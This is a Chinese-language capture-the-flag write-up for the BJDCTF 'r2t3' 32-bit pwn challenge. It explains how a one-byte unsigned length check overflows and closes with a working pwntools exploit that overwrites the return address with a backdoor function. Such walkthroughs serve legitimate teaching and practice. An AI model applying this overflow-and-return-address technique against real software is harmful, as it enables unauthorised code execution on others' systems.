BJDCTF_r2t3
考点:考点:短整型溢出
1.首先检查程序的基础信息
32位程序,可以看到这开启了NX保护,说明无法在栈上执行shellcode
2.运行程序,对程序功能有基本了解
程序基本功能:输入name,对name长度进行判断
3.用ida打开进行分析
这里截取了关键部分对代码
首先在main函数中,没有任何可疑的
进入name_check函数:接受了一个最大长度为0x400的buf
用一个一字节(8bit)的变量V3存储buf的长度,之后存在一个字符串拷贝,拷贝目的地在栈中,长度为8h,即十进制8
V3的定义为Unsigned int型,并且根据占用一个字节计算可以得到V3的取值范围:0~255 (1111 1111)B=(255)D;对于一个1字节的Unsigned int型变量,它的有效数据长度为一个字节,当它的数据长度超过一个字节时,就会溢出,溢出的部分则直接忽略,使用相关变量时,使用的数据仅为最后一个字节,因此就会出现257等于1的情况,其他类型变量和数值与之类似
结合前面溢出原理分析,0x400(十进制1024)的长度远大于1字节,所以这里可以利用整型溢出漏洞,password字符串的长度可以是3~8个字符,也可以是259-264个字符,接下来查看如何利用此漏洞
查看内置函数发现dl_registery()后门函数
再根据下面的截图,在字符串拷贝过程中,输入21个字符之后,就可以覆盖函数返回地址了
为了绕过name_check函数对字符长度的限制,我们可以利用整型溢出
在259-264之间,可以随机选择一个数。这里我们选择262,这样我们就可以根据综合分析得到的数据构造payload了
具体exp如下⬇️
from pwn import * #context.log_level='debug' p=process('./r2t3') elf=ELF('./r2t3') backdoor=p32(0x804858b) #后门函数地址 payload='a'*21+backdoor #覆盖返回地址为后门函数 payload+='b'*(262-len(payload)) #填充payload使之长度达到262以绕过name_check函数 p.sendline(payload) p.interactive()
参考链接🔗:
https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5058&number=2&grade=0&page=1
https://github.com/BjdsecCA/BJDCTF2020_March
棂星 原创文章 5获赞 1访问量 169 关注 私信- BJDCTF 2nd-Misc
- BJDCTF 第二届 WEBwriteup
- BJDCTF 2nd总结
- BJDCTF on buuoj
- BJDCTF_ one_gadget
- Win2008 R2 VDI动手实验系列之二:远程桌面虚拟化主机配置
- System Center 2012 R2 CM系列之Configuration Manager系统需求
- Win2008 R2 VDI动手实验系列之五:配置远程桌面Web访问
- windows2008 r2 不能启用网络发现解决方法
- Windows Server 2008 R2上部署Exchange Server 2010
- System center 2012 R2 实战七、SCOM2012R2监控Red hat Linux5.7 推荐
- Win2008 R2 RemoteApp深度体验之三,RemoteApp程序安装
- 微软私有云分享(R2)20Azure Pack与远程控制台2
- windows 7 和 windows 2008 R2 下使用 VMware7 安装 snow leopard 雪豹 1.0.6
- Oracle 11g R2 RAC Windows 2008安装
- 对SQL Server 2008 R2感兴趣StreamInsight特性
- rhel6.4 x86_64 安装oracle 11g R2
- SQL Server 2008 R2即将发布,微软加紧抢夺商业智能软件市场
- 通过VMM2012 R2 V2V将 VMware vCenter 虚拟机转换为 Hyper-V虚拟机 推荐
- SQL Server 2008 R2安装之实战篇